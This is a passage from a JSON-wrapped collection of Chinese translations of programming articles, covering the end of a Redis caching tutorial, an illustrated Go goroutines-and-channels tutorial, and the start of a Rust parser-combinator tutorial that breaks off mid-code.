的星际飞船。\n\n![](https://cdn-images-1.medium.com/max/5760/1*Jmu98b42pna6v4t626M7gg.png)\n\n**115 ms。**性能几乎提升了 **7 倍**！\n\n## 总结\n\n值得注意的是，我们在本教程中只是讲了些皮毛而已，Redis 还有很多更多的功能！我强烈建议您查看它的[官方文档](https://redis.io/documentation)。[**这个链接**](https://github.com/abdamin/redis-node-tutorial)是我们应用的完整代码的 Github 仓库地址。\n\n如果您有任何问题，请尽管留言。另外，如果这篇文章对您有帮助，您请可以帮忙转发分享。我会定期发布与 web 开发相关的文章。您可以在[**此处输入您的电子邮件**](https://abdullahsumsum.com/subscribe)以获取有关 web 开发相关的文章和教程的最新信息。您还可以在 [**abdullahsumsum.com**](http://abdullahsumsum.com/) 上找到有关我的更多信息。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learning-gos-concurrency-through-illustrations.md",
    "content": "> * 原文地址：[Learning Go’s Concurrency Through Illustrations](https://medium.com/@trevor4e/learning-gos-concurrency-through-illustrations-8c4aff603b3)\n> * 原文作者：[Trevor Forrey](https://medium.com/@trevor4e?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learning-gos-concurrency-through-illustrations.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-gos-concurrency-through-illustrations.md)\n> * 译者：[Elliott Zhao](https://github.com/elliott-zhao)\n> * 校对者：[CACppuccino](https://github.com/CACppuccino)\n\n# 通过插图学习 Go 的并发\n\n你很可能从各种各样的途径听说过 Go。它因为各种原因而越来越受欢迎。Go 很快，很简单，并且拥有一个很棒的社区。并发模型是学习这门语言最令人兴奋的方面之一。Go 的并发原语使创建并发、多线程的程序变得简单而有趣。我将通过插图介绍 Go 的并发原语，希望能让这些概念更加清晰而有助于将来的学习。本文适用于 Go 的新手，并且想要了解Go的并发原语：Go 例程和通道。\n\n### 单线程程序与多线程程序\n\n你可能以前写过很多单线程程序。编程中一种常见的模式是用多个函数来完成一个特定的任务，但只有在程序的前一部分为下一个函数准备好数据时才会调用它们。\n\n![](https://cdn-images-1.medium.com/max/800/1*bFlCApzWW8EYVmSAnXcWYA.jpeg)\n\n这就是我们设立的第一个例子，采矿程序。这个例子中的函数执行：**寻矿**，**挖矿**和**炼矿**。在我们的例子中，矿坑和矿石被表示为一个字符串数组，每个函数接收它们并返回一个“处理好的”字符串数组。对于单线程应用程序，程序设计如下。\n\n![](https://cdn-images-1.medium.com/max/800/1*ocFND1VTSp89syQdtvestg.jpeg)\n\n有3个主要函数。一个**寻矿者**，一个**矿工**和一个**冶炼工**。在这个版本的程序中，我们的函数在单个线程上运行，一个接一个地运行 - 而这个单线程（名为 Gary 的 gopher）需要完成所有工作。\n\n```\nfunc main() {\n theMine := [5]string{“rock”, “ore”, “ore”, “rock”, “ore”}\n foundOre := finder(theMine)\n minedOre := miner(foundOre)\n smelter(minedOre)\n}\n```\n\n在每个函数的末尾打印出处理后的“矿石”数组，我们得到以下输出：\n\n```\nFrom Finder: [ore ore ore]\n\nFrom Miner: [minedOre minedOre minedOre]\n\nFrom Smelter: [smeltedOre smeltedOre smeltedOre]\n```\n\n这种编程风格具有易于设计的优点，但是当你想要利用多个线程并执行彼此独立的功能的时候，会发生什么情况？这是并发编程发挥作用的地方。\n\n![](https://cdn-images-1.medium.com/max/800/1*TAzVDPM6qAZI90yPLkvI7g.jpeg)\n\n这种采矿设计更有效率。现在多线程（gopher 们）独立工作；因此，并不是让 Gary 完成整个行动。有一个 gopher 寻找矿石，一个开采矿石，另一个冶炼矿石——可能全部在同一时间进行。\n\n为了让我们将这种类型的功能带入我们的代码中，我们需要两件事：一种创建独立工作的 gopher 的方法，以及一种让 gopher 们相互沟通（**发送矿石**）的方法。这就是 Go 并发原语进场的地方：Go 例程和通道。\n\n### Go 例程\n\nGo 例程可以被认为是轻量级线程。创建 Go 例程简单到只需要将 _go_ 添加到调用函数的开始。举一个简单的例子，让我们创建两个寻矿函数，使用 _go_ 关键字调用它们，并在他们每次在矿中发现“矿石”时将其打印出来。\n\n![](https://cdn-images-1.medium.com/max/800/1*lPX8LWWRYZRZzF9E3rSw0g.jpeg)\n\n```\nfunc main() {\n theMine := [5]string{“rock”, “ore”, “ore”, “rock”, “ore”}\n go finder1(theMine)\n go finder2(theMine)\n <-time.After(time.Second * 5) //你可以先忽略这个\n}\n```\n\n以下是我们程序的输出结果：\n\n```\nFinder 1 found ore!\nFinder 2 found ore!\nFinder 1 found ore!\nFinder 1 found ore!\nFinder 2 found ore!\nFinder 2 found ore!\n```\n\n从上面的输出中可以看到，寻矿者正在同时运行。谁先发现矿石并没有真正的顺序，并且当多次运行时，顺序并不总是相同的。\n\n这是伟大的进步！现在我们有一个简单的方法来建立一个多线程（多 Gopher）程序，但是当我们需要我们独立的 Go 例程相互通信时会发生什么？欢迎来到神奇的**通道**世界。\n\n### 通道\n\n![](https://cdn-images-1.medium.com/max/800/1*9QQ_B3EqsjSa9QtjqHLAZA.jpeg)\n\n通道允许例程彼此通信。您可以将通道视为管道，从中可以发送和接收来自其他 Go 例程的信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*_rq9tbbJ2SeTfx_j-vlbmw.jpeg)\n\n```\nmyFirstChannel := make(chan string)\n```\n\nGo 例程可以在通道上**发送**和**接收**。这是通过使用指向数据的方向的箭头（<-）来完成的。\n\n![](https://cdn-images-1.medium.com/max/800/1*KsMXEiIsh4T3Bxopc7fyzg.jpeg)\n\n```\nmyFirstChannel <- \"hello\" // 发送\nmyVariable := <- myFirstChannel // 接收\n```\n\n现在通过使用一个通道，我们可以让我们的寻矿 gopher 立即将他们发现的东西发送给我们的挖矿 gopher，而无需等待全部发现。\n\n![](https://cdn-images-1.medium.com/max/800/1*xwA5l08Fy-P8yUQAZ2HVww.jpeg)\n\n我已经更新了示例，于是寻矿代码和挖矿函数被设置为匿名函数。如果你从来没有见过lambda函数，不要过多地关注程序的那一部分，只要知道每个函数都是用 _go_ 关键字调用的，所以它们正在在自己的例程上运行。重要的是注意 Go 例程如何使用通道 _oreChan_ 在彼此之间传递数据。**别担心，我会在最后解释匿名函数。**\n\n```\nfunc main() {\n theMine := [5]string{“ore1”, “ore2”, “ore3”}\n oreChan := make(chan string)\n\n // 寻矿者\n go func(mine [5]string) {\n  for _, item := range mine {\n   oreChan <- item //send\n  }\n }(theMine)\n\n // 矿工\n go func() {\n  for i := 0; i < 3; i++ {\n   foundOre := <-oreChan //接收\n   fmt.Println(“Miner: Received “ + foundOre + “ from finder”)\n  }\n }()\n <-time.After(time.Second * 5) // 还是先忽略这个\n}\n```\n\n在下面的输出中，您可以看到我们的矿工三次通过矿石通道读取，每次接收到一块“矿石”。\n\nMiner: Received ore1 from finder\n\nMiner: Received ore2 from finder\n\nMiner: Received ore3 from finder\n\n太好了，现在我们可以在程序中的不同 Go 例程（gophers）之间发送数据。在我们开始编写带有通道的复杂程序之前，让我们首先介绍一些理解通道属性的关键点。\n\n#### 通道阻塞\n\n在多种情况下，通道会阻塞例程。这允许我们的 Go 例程在彼此踏上各自的愉悦旅途之前先进行同步。\n\n#### 发送阻塞\n\n![](https://cdn-images-1.medium.com/max/800/1*1NeNS9JYuZP4iQ9OmdxZqw.jpeg)\n\n一旦一个 Go 例程（gopher）在一个通道上发送，进行发送的 Go 例程就会阻塞，直到另一个 Go 例程收到通道发送的信息为止。\n\n#### 接收阻塞\n\n![](https://cdn-images-1.medium.com/max/800/1*bDwp4np-zsKhq0brOvvK9Q.jpeg)\n\n类似于在通道上发送后的阻塞，Go例程在等待从通道获取值，但还没有发送给它的时候会阻塞。\n\n一开始，阻塞可能有点难以理解，但你可以把它想象成两个 Go 例程（gophers）之间的交易。无论 gopher 是等待金钱还是汇款，都会等待交易中的其他合作伙伴出现。\n\n现在我们对 Go 例程通过通道进行通信的时候会阻塞的不同方式有了一个印象，让我们讨论两种不同类型的通道：**无缓冲**，和**缓冲**。选择使用什么类型的通道可以改变你的程序的行为。\n\n#### 无缓冲通道\n\n![](https://cdn-images-1.medium.com/max/800/1*uBaxExhmc7yJWKYAl1wr-g.jpeg)\n\n在之前的所有例子中，我们都使用了无缓冲的通道。它们的特殊之处在于，一次只有一条数据能够通过通道。\n\n#### 缓冲通道\n\n![](https://cdn-images-1.medium.com/max/800/1*4504pB8sc8Tzk19rOnJ7tA.jpeg)\n\n在并发程序中，时序并不总是完美的。在我们的采矿案例中，我们可能会遇到这样一种情况：我们的寻矿 gopher 可以在矿工 gopher 处理一块矿石的时间内找到 3 块矿石。为了不让寻矿 gopher 把大部分时间花费在等待给矿工 gopher 的工作完成上，我们可以使用**缓冲**通道。让我们开始做一个容量为 3 的缓冲通道。\n\n```\nbufferedChan := make(chan string, 3)\n```\n\n缓冲通道的工作原理类似于无缓冲通道，仅有一点不同 —— 我们可以在需要另外的 Go 例程读取通道之前将多条数据发送到通道。\n\n![](https://cdn-images-1.medium.com/max/800/1*17IpvEF6LJCDqLLHQJoCuA.jpeg)\n\n```\nbufferedChan := make(chan string, 3)\n\ngo func() {\n bufferedChan <- \"first\"\n fmt.Println(\"Sent 1st\")\n bufferedChan <- \"second\"\n fmt.Println(\"Sent 2nd\")\n bufferedChan <- \"third\"\n fmt.Println(\"Sent 3rd\")\n}()\n\n<-time.After(time.Second * 1)\n\ngo func() {\n firstRead := <- bufferedChan\n fmt.Println(\"Receiving..\")\n fmt.Println(firstRead)\n secondRead := <- bufferedChan\n fmt.Println(secondRead)\n thirdRead := <- bufferedChan\n fmt.Println(thirdRead)\n}()\n```\n\n我们两个 Go 例程之间的打印顺序是：\n\n```\nSent 1st\nSent 2nd\nSent 3rd\nReceiving..\nfirst\nsecond\nthird\n```\n\n为了简单起见，我们不会在最终程序中使用缓冲通道，但了解并发工具带中可用的通道类型很重要。\n\n> 注意：使用缓冲通道不会阻止阻塞的发生。例如，如果寻矿 gopher 比矿工快 10 倍，并且它们通过大小为 2 的缓冲通道进行通信，则发现 gopher 仍将在程序中多次阻塞。\n\n### 把它们结合起来\n\n现在凭借 Go 例程和通道的强大功能，我们可以编写一个程序，使用 Go 的并发原语来充分利用多线程。\n\n![](https://cdn-images-1.medium.com/max/800/1*mdkQasa9ipcJZrSGajSU1A.jpeg)\n\n```\ntheMine := [5]string{\"rock\", \"ore\", \"ore\", \"rock\", \"ore\"}\noreChannel := make(chan string)\nminedOreChan := make(chan string)\n// Finder\ngo func(mine [5]string) {\n for _, item := range mine {\n  if item == \"ore\" {\n   oreChannel <- item //在 oreChannel 上发送东西\n  }\n }\n}(theMine)\n// Ore Breaker\ngo func() {\n for i := 0; i < 3; i++ {\n  foundOre := <-oreChannel //从 oreChannel 上读取\n  fmt.Println(\"From Finder: \", foundOre)\n  minedOreChan <- \"minedOre\" //向 minedOreChan 发送\n }\n}()\n// Smelter\ngo func() {\n for i := 0; i < 3; i++ {\n  minedOre := <-minedOreChan //从 minedOreChan 读取\n  fmt.Println(\"From Miner: \", minedOre)\n  fmt.Println(\"From Smelter: Ore is smelted\")\n }\n}()\n<-time.After(time.Second * 5) // 还是一样，你可以忽略这些\n```\n\n程序的输出如下：\n\n```\nFrom Finder:  ore\n\nFrom Finder:  ore\n\nFrom Miner:  minedOre\n\nFrom Smelter: Ore is smelted\n\nFrom Miner:  minedOre\n\nFrom Smelter: Ore is smelted\n\nFrom Finder:  ore\n\nFrom Miner:  minedOre\n\nFrom Smelter: Ore is smelted\n```\n\n与我们原来的例子相比，这是一个很大的改进！现在，我们的每个函数都是独立运行在自己的 Go 例程上的。另外，每一块矿石在处理之后，都会进入我们采矿线的下一个阶段。\n\n为了将注意力集中在了解通道和 Go 例程的基础知识上，有一些我没有提到的重要信息 —— 如果你不知道，当你开始编程时可能会造成一些麻烦。现在您已了解 Go 例程和通道的工作原理，让我们在开始使用 Go 例程和通道编写代码之前，先了解一些您应该了解的信息。\n\n### 在出发前，你应该知道……\n\n#### 匿名 Go 例程\n\n![](https://cdn-images-1.medium.com/max/800/1*khLRmT0Dr_ZHN2SU1GVkaQ.jpeg)\n\n类似于我们可以使用 _go_ 关键字设置一个可以运行自己的 Go 例程的函数，我们可以使用以下格式创建一个匿名函数来运行自己的 Go 例程：\n\n```\n// 匿名 Go 例程\ngo func() {\n fmt.Println(\"I'm running in my own go routine\")\n}()\n```\n\n这样，如果我们只需要调用一次函数，我们可以将它放在自己的 Go 例程中运行，而不用担心创建官方函数声明。\n\n#### 主函数是一个 Go 例程\n\n![](https://cdn-images-1.medium.com/max/800/1*2XfhTF9gRaS1D7PKNXHyXw.jpeg)\n\n主程序实际上是在自己的 Go 例程中运行的！更重要的是要知道，一旦主函数返回，它将关闭其它所有正在运行的例程。这就是为什么我们在主函数底部有一个计时器 —— 它创建了一个通道，并在 5 秒后发送了一个值。\n\n```\n<-time.After(time.Second * 5) //在 5 秒后从通道接收\n```\n\n还记得一个 Go 例程是如何阻塞一个读取，直到一些东西被发送的吗？通过添加上面的代码，这正是主例程发生的情况。主例程会阻塞，给我们其他的例程 5 秒额外的生命运行。\n\n现在有更好的方法来处理阻塞主函数，直到所有其他的 Go 例程完成。通常的做法是创建一个主函数在等待读取时阻塞的 _done_ **通道**。一旦你完成你的工作，写入这个通道，程序将结束。\n\n![](https://cdn-images-1.medium.com/max/800/1*pMThGvvn_4DhBhcpFfrQiQ.jpeg)\n\n```\nfunc main() {\n doneChan := make(chan string)\n go func() {\n  // Do some work…\n  doneChan <- “I’m all done!”\n }()\n \n <-doneChan // 阻塞直到 Go 例程发出工作完成的信号\n}\n```\n\n#### 您可以在通道上范围取值\n\n在前面的例子中，我们让我们的矿工在 for 循环中经历了 3 次迭代读取通道。如果我们不知道究竟寻矿者会发送多少矿石，会发生什么？那么，类似于在集合上范围取值，你可以**在通道上范围取值**。\n\n更新我们以前的矿工函数，我们可以写：\n\n```\n // 矿工\n go func() {\n  for foundOre := range oreChan {\n   fmt.Println(“Miner: Received “ + foundOre + “ from finder”)\n  }\n }()\n```\n\n由于矿工需要读取寻矿者发送给他的所有内容，因此在此通道上范围取值能够确保我们收到发送的所有内容。\n\n> 注意：对通道进行范围取值将会阻塞通道，直到通道上发送另一个包裹。在发生所有发送之后，阻止 Go 例程阻塞的唯一方法是通过关闭通道 'close(channel)'。\n\n#### 您可以在通道上进行非阻塞读取\n\n但你刚才告诉我们的全是通道如何阻塞 Go 例程？！没错，但是有一种技术可以使用 Go 的 _select case_ 结构在通道上进行非阻塞式读取。通过使用下面的结构，如果有东西的话，您的 Go 例程将从通道中读取，否则运行默认情况。\n\n```\nmyChan := make(chan string)\n \ngo func(){\n myChan <- “Message!”\n}()\n \nselect {\n case msg := <- myChan:\n  fmt.Println(msg)\n default:\n  fmt.Println(“No Msg”)\n}\n<-time.After(time.Second * 1)\nselect {\n case msg := <- myChan:\n  fmt.Println(msg)\n default:\n  fmt.Println(“No Msg”)\n}\n```\n\n运行时，此示例具有以下输出：\n\n```\nNo Msg  \nMessage!\n```\n\n#### 您也可以在通道上进行非阻塞式发送\n\n非阻塞发送使用相同的 _select case_ 结构来执行其非阻塞操作，唯一的区别是我们的情况看起来像发送而不是接收。\n\n```\nselect {  \n case myChan <- “message”:  \n  fmt.Println(“sent the message”)  \n default:  \n  fmt.Println(“no message sent”)  \n}\n```\n\n### 下一步学习\n\n![](https://cdn-images-1.medium.com/max/800/1*qCzFQ2-l9vmNm6WZ4pFZqA.jpeg)\n\n有很多讲座和博客文章涵盖通道和例程的更多细节。既然您对这些工具的目的和应用有了扎实的理解，那么您应该能够充分利用以下文章和演讲。\n\n> [Google I/O 2012 — Go 并发模式](https://www.youtube.com/watch?v=f6kdp27TYZs&t=938s)\n\n> [Rob Pike — ‘并发并非并行’](https://www.youtube.com/watch?v=cN_DpYBzKso)\n\n> [GopherCon 2017: Edward Muller — Go 反模式](https://www.youtube.com/watch?v=ltqV6pDKZD8&t=1315s)\n\n感谢您抽时间阅读。我希望你能够了解 Go 例程，通道以及它们为编写并发程序带来的好处。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/learning-parser-combinators-with-rust-1.md",
    "content": "> * 原文地址：[Learning Parser Combinators With Rust](https://bodil.lol/parser-combinators/)\n> * 原文作者：[Bodil](https://bodil.lol/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/learning-parser-combinators-with-rust-1.md)\n> * 译者：[suhanyujie](https://github.com/suhanyujie)\n\n# 通过 Rust 学习解析器组合器 — Part 1\n\n本文面向会使用 Rust 编程的人员，提供一些解析器的基础知识。如果不具备其他知识，我们将会介绍和 Rust 无直接关系的所有内容，以及使用 Rust 实现这个会更加超出预期的一些方面。如果你还不了解 Rust 这个文章也不会讲如何使用它，如果你已经了解了，那它也不能打包票能教会你解析器组合器的知识。如果你想学习 Rust，我推荐阅读 [Rust 编程语言](https://doc.rust-lang.org/book/)。\n\n### 初学者的独白\n\n在很多程序员的职业生涯中，可能都会有这样一个时刻，发现自己需要一个解析器。\n\n小白程序员可能会问，“解析器是什么？”\n\n中级程序员会说，“这很简单，我会写正则表达式。”\n\n高级程序员会说：闪开，我知道 `lex` 和 `yacc`。\n\n小白的心态是正确的。\n\n并不说正则不好。（但请不要尝试将一个复杂的解析器写成正则表达式。）也不是说使用像解析器和 `lexer` 生成器等这种功能强大的工具就没有乐趣了，这些工具经过长久的迭代和改进，已经达到了非常好的程度。但从 0 开始学解析器是 **很有趣** 的。而如果你直接走正则表达式或解析器生成器的方向，你将会错过很多精彩的东西，因为它们只是对当前实际问题的抽象后形成的工具。正如[某人](https://en.wikipedia.org/wiki/Shunry%C5%AB_Suzuki#Quotations)所说，在初学者的脑袋中，是充满可能性的。而在专家的头脑中，可能就习惯于那一种想法。\n\n在本文中，我们将学习怎样从头开始使用函数式编程语言中常见的技术构建一个解析器，这种技术被称为 **解析器组合器**。它们具有很好的优点，一旦你掌握其中的基本思想，和基本原理，你将在基本组合器之上建立自己的抽象，这里也将作为唯一的抽象 —— 所有这些必须建立在你使用它们之前已经开始进行构思。\n\n### 怎样学习好这篇文章\n\n强烈建议你新建一个新的 Rust 项目，并在阅读时，将代码片段键入到文件 `src/lib.rs` 中（你可以直接从页面复制代码片段，但最好手敲，因为这样会确保你完整的阅读代码）。本文会按顺序介绍你需要的每一段代码。请注意，它可能会引入你之前编写的函数 **已修改** 版本，这种情况下，你应该使用新版本的代码替换旧版本的。\n\n代码是基于 2018 版次的 `rustc 1.34.0` 版本的编译器。你应该能够使用最新版本的编译器，只要确保你使用的是2018（检查 `Cargo.toml` 是否包含了 `edition = \"2018\"`）的版次。代码无需外部依赖。\n\n如你所料，要运行文章中介绍的测试，可以使用 `cargo test`。\n\n### XML 文本\n\n我们将为简化版的 `XML` 编写一个解析器。它类似于这样：\n\n```\n<parent-element>\n  <single-element attribute=\"value\" />\n</parent-element>\n```\n\n`XML` 元素以符号 `<` 和一个标识符开始，标识符由若干字母、数字或 `-` 组成。其后是一些空格，或一些可选的属性列表：前面定义的另一个标识符，这个标识符后跟随一个 `=` 和双引号包含一些字符串。最后，可能有一个 `/>` 进行结束，表示没有子元素的单个元素，也可能有一个 `>` 表示后面有一些子元素，最后使用一个以 `</` 开头的结束标记，后面跟一个标识符，该标识符必须在与开始标识符标记相匹配，最后使用 `>` 闭合。\n\n这就是我们要做的。没有名称空间，没有文本节点，没有其他节点，而且 **肯定** 没有模式验证。我们甚至不需要为这些字符串支持转义引号 —— 它们从第一个双引号开始，到下一个双引号结束，就是这样。如果你想要在实际的字符串中使用双引号，你可以将这种难处理的需求放到以后处理。\n\n我们将把这些元素解析成类似于这样的结构：\n\n```\n#[derive(Clone, Debug, PartialEq, Eq)]\nstruct Element {\n    name: String,\n    attributes: Vec<(String, String)>,\n    children: Vec<Element>,\n}\n```\n\n没有泛型，只有一个名为 name 的字符串（即每个标记开头的标识符）、一些字符串的属性（标识符和值），和一个看起来和父元素完全一样的子元素列表。\n\n（如果你正在键入代码，请确保包含这些 derives。稍后你会需要用到的。）\n\n### 定义解析器\n\n那么，是时候开始编写解析器了。\n\n解析是从数据流派生出结构的过程。解析器就是用来将它们梳理出结构的东西。\n\n在我们将要探讨的规程中，解析器最简单的形式就是一个函数，它接收一些输入并返回已解析的内容和输入的剩余部分，或者一个错误提示：“无法解析”。\n\n简而言之，解析器在更复杂的场景中也是这个样子。你可能会使输入、输出和错误复杂化，如果你有好的错误信息提示，这正是你需要的，但是解析器保持不变：处理输入并将解析的结果和输入的剩余内容，或者提示出它无法解析输入，并显示信息让你知道。\n\n我们把它标记为函数类型\n\n```\nFn(Input) -> Result<(Input, Output), Error>\n```\n\n更详细的说，在我们的例子中，我们要填充类型，就会得到类似下面的结果，因为我们要做的是将一个字符串转换成一个 `Element` 结构体，这一点上，我们不想将错误复杂地显示出来，所以我们只将我们无法解析的错误作为字符串返回：\n\n```\nFn(&str) -> Result<(&str, Element), &str>\n```\n\n我们使用字符串 slice，因为它是指向一个字符串片段的有效指针，我们可以通过 slice 的方式引用它，无论怎么做，处理输入的字符串 slice，并返回剩余内容和处理结果。\n\n使用 `&[u8]`（一个字节的 slice，假设我们限制自己只使用 ASCII 对应的字符） 作为输入的类型可能会更简洁，特别是因为一个字符串 slice 的行为不同于其他大多数的 slice，尤其是在不能用数字对字符串进行索引的情况下，数字索引字符串如：`input[0]`，你必须像这样使用一个字符串 slice `input[0..1]`。另一方面，对于解析字符串它们提供许多有用的方法，而字节 slice 没有。\n\n实际上，大多数情况下，我们将依赖这些方法，而不是对其进行索引，因为，`Unicode`。在 UTF-8 中，所有 Rust 字符串都是 UTF-8 的，这些索引并不能总是对应于单个字符，最好让标准库帮我们处理与这个相关的问题。\n\n### 我们的第一个解析器\n\n让我们尝试编写一个解析器，它只查看字符串中的第一个字符，并判断它是否是字母 `a`。\n\n```\nfn the_letter_a(input: &str) -> Result<(&str, ()), &str> {\n  match input.chars().next() {\n      Some('a') => Ok((&input['a'.len_utf8()..], ())),\n      _ => Err(input),\n  }\n}\n```\n\n首先，我们看下输入和输出的类型：我们将一个字符串 slice 作为输入，正如我们讨论的，我们返回一个包含 `(&str, ())` 的 `Result` 或者 `&str` 类型的错误。有趣的是 `(&str, ())` 这部分：正如我们所讨论的，我们期望返回一个元组，它带有下一个用于解析的输入部分，以及解析结果。`&str` 是下一个输入，处理的结果则是单个 `()` 类型，因为如果这个解析器成功运行，它将只能得到一个结果（找到了字母 `a`），并且在这种情况下，我们不特别需要返回字母 `a`，我们只需要指出已经成功的找到了它就行。\n\n因此，我们看看解析器本身的代码。首先获取输入的第一个字符：`input.chars().next()`。我们并没有尝试性的依赖标准库来避免带来 `Unicode` 的问题 —— 我们调用它为字符串的字符提供的一个 `chars()` 迭代器，然后从其中取出第一个单元。这就是一个 `char` 类型的项，并且通过 `Option` 包装着，即 `Option<char>`，如果是 `None` 类型的 `Option` 则意味着我们获取到的是一个空字符串。\n\n更糟糕的是，一个 `char` 类型甚至可能不是我们想象的 `Unicode` 中的字符。这很可能就是 `Unicode` 中的 “[字母集合](http://www.unicode.org/glossary/#grapheme_cluster)”，它可以由几个 `char` 类型的字符组成，这些字符实际上表示 “[标量值](http://www.unicode.org/glossary/#unicode_scalar_value)”，它比 \"字母集合\" 差不多还低 2 个层次。但是，这样想未免有些激进了，就我们的目的而言，我们甚至不太可能看到 ASCII 字符集以外的字符，所以暂且忽略这个问题。\n\n我们对 `Some('a')` 进行模式匹配，它就是我们正在寻找的特定结果，如果匹配成功，我们将返回成功 `Ok((&input['a'.len_utf8()..], ()))`。也就是说，我们从字符串 slice 中移出的解析的项（'a'），并返回剩余的字符，以及解析后的值，也就是 `()` 类型。考虑到 Unicode 字符集问题，在对字符串 range 处理前，我们用标准库中的方法查询一下字符 `'a'` 在 UTF-8 中的长度 —— 长度是1，这样不会遇到之前认为的 Unicode 字符问题。\n\n如果我们得到其他类型的结果 `Some(char)`，或者 `None`，我们将返回一个异常。正如之前提到的，我们刚刚的异常类型就是解析失败时的字符串 slice，也就是我们我们传递的输入。它不是以 `a` 开头，所以返回异常给我们。这不是一个很严重的错误，但至少比“一些地方出了严重错误”要好一些。\n\n实际上，尽管我们不是要用这种解析器解析这个 `XML`，但是我们需要做的第一件事是寻找开始的 `<`，所以我们需要一些类似的东西。特别的，我们还需要解析 `>`、`/` 和 `=`，所以，也许我们可以创建一个函数来构建一个解析器用于解析我们想要解析的字符。\n\n### 解析器构建器\n\n我们想象一下：如果要写一个函数，它可以为 **任意** 长度而不仅仅是单个字符的静态字符串生成一个解析器。这样做甚至更简单一些，因为字符串 slice 是一个合法的 UTF-8 字符串 slice，并且暂且不考虑 Unicode 字符集问题。\n\n```\nfn match_literal(expected: &'static str)\n    -> impl Fn(&str) -> Result<(&str, ()), &str>\n{\n    move |input| match input.get(0..expected.len()) {\n        Some(next) if next == expected => {\n            Ok((&input[expected.len()..], ()))\n        }\n        _ => Err(input),\n    }\n}\n```\n\n现在看起来有点不一样了。\n\n首先，我们看看类型。我们的函数看起来不像一个解析器，它现在使用 `expected` 字符串作为参数，并且 **返回** 值是看起来像解析器一样的东西。它是一个返回值是函数的函数 —— 换句话说，它是一个 **高阶** 函数。基本上，我们写的是 **生成** 一个类似于之前我们写的 `the_letter_a` 一样的函数。\n\n因此，我们不是在函数体中执行一些逻辑，而是返回一个闭包，这个闭包才是执行逻辑的地方，并且与前面的解析器的函数签名是匹配的。\n\n匹配模式是一样的，只是我们不能直接匹配字符串文本，因为我们不知道他具体是什么，所以我们使用条件 `if next == expected` 来判断匹配。因此，它和之前完全一样，只是逻辑的执行是在闭包的内部。\n\n### 测试解析器\n\n我们将编写一个测试来确保我们做的是对的。\n\n```\n#[test]\nfn literal_parser() {\n    let parse_joe = match_literal(\"Hello Joe!\");\n    assert_eq!(\n        Ok((\"\", ())),\n        parse_joe(\"Hello Joe!\")\n    );\n    assert_eq!(\n        Ok((\" Hello Robert!\", ())),\n        parse_joe(\"Hello Joe! Hello Robert!\")\n    );\n    assert_eq!(\n        Err(\"Hello Mike!\"),\n        parse_joe(\"Hello Mike!\")\n    );\n}\n```\n\n首先，我们构建解析器：`match_literal(\"Hello Joe!\")`。这应该使用字符串 `Hello Joe!` 作为输入，并返回字符串的其余部分，否则它应该提示失败并返回整个字符串。\n\n在第一种情况下，我们只是向他提供它期望的具体字符串作为参数，然后，我们看到它返回一个空字符串和 `()` 类型的值，这意味着：“我们按照正常流程解析了字符串，实际上你并不需要它返回给你这个值”。\n\n在第二种情况下，我们给它输入字符串 `Hello Joe! Hello Robert!`，并且我们确实看到它解析了字符串 `Hello Joe!` 并返回剩余部分：` Hello Robert!`（空格开头的剩余所有字符串）。\n\n在第三个例子中，我们输入了一些不正确的值：`Hello Mike!`，请注意，它确实根据输入给出了错误并中断执行。一般来说，`Mike` 并不是正确的输入部分，它不是这个解析器要寻找的对象。\n\n### 用于不固定参数的解析器\n\n这样，我们来解析 `<`,`>`,`=` 甚至 `</` 和 `/>`。我们实际上做的差不多了。\n\n在开始 `<` 后的下一个元素是元素的名称。虽然我们不能用一个简单的字符串比较来做到这一点，但是我们 **可以** 用正则表达式来做...\n\n...但是我们要克制自己，它将是一个很容易在简单代码中复制的正则表达式，并且我们不需要为此而去依赖于 `regex` 的 crate 库。我们要试试是否可以仅仅只使用 Rust 标准库来编写自己的解析器。\n\n回顾元素名称标识符的定义，它大概是这样：一个字母的字符，然后是若干个字母数字中横线 `-` 等多个字符。\n\n```\nfn identifier(input: &str) -> Result<(&str, String), &str> {\n    let mut matched = String::new();\n    let mut chars = input.chars();\n\n    match chars.next() 